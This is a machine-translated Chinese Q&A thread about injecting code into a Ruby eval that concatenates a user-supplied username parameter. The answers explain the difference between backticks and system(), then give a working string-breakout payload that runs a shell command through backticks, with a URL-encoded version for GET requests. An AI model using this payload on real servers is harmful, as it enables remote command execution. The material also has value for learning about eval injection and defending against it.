通过 Ruby Eval 函数执行代码



我正在尝试通过首先通过注入("(来打破字符串,从而在ruby eval((中执行代码执行。以下代码用于注入。

myuser"%2B`[system('uname')]`%2B"

我没有收到错误,但反引号之间的命令未执行。

我正在尝试注入下面的用户名值。

eval ""Hello "+params['username']+"""

我不是 100% 确定您的用例,但我可以告诉您这些:

system将运行 shell 命令,并返回成功/失败,但不会保存结果:

irb(main):001:0> x = system('uname')
Linux
=> true
irb(main):002:0> x
=> true

反引号将运行 shell 命令并保存输出,但不需要单词 system

irb(main):003:0> x = `uname`
=> "Linuxn"
irb(main):004:0> x
=> "Linuxn"

(如果你在反引号中包含"system",它将在命令行上运行"system";通常不是你想要的(

单独的反引号不会在字符串中执行任何操作:

irb(main):005:0> "I am `uname`"
=> "I am `uname`"

但是它们将在双引号内用#{}号进行扩展:

irb(main):006:0> "I am #{`uname`}"
=> "I am Linuxn"

但通常最好先运行命令,检查错误,然后将其添加到字符串中,例如

result = `uname`
# Check for errors here
output = "context #{result} more context"
eval ""Hello "+params['username']+"""

如果这是在服务器中运行的 Ruby 代码,并且如果要执行代码注入,则可以使用以下有效负载。

myuser"+`uname`+"

但是,如果用户名参数是通过GET请求检索的,则需要对上述有效负载进行URL编码。

URL 编码后的有效负载如下所示

myuser%22%2B%60uname%60%2B%22

最新更新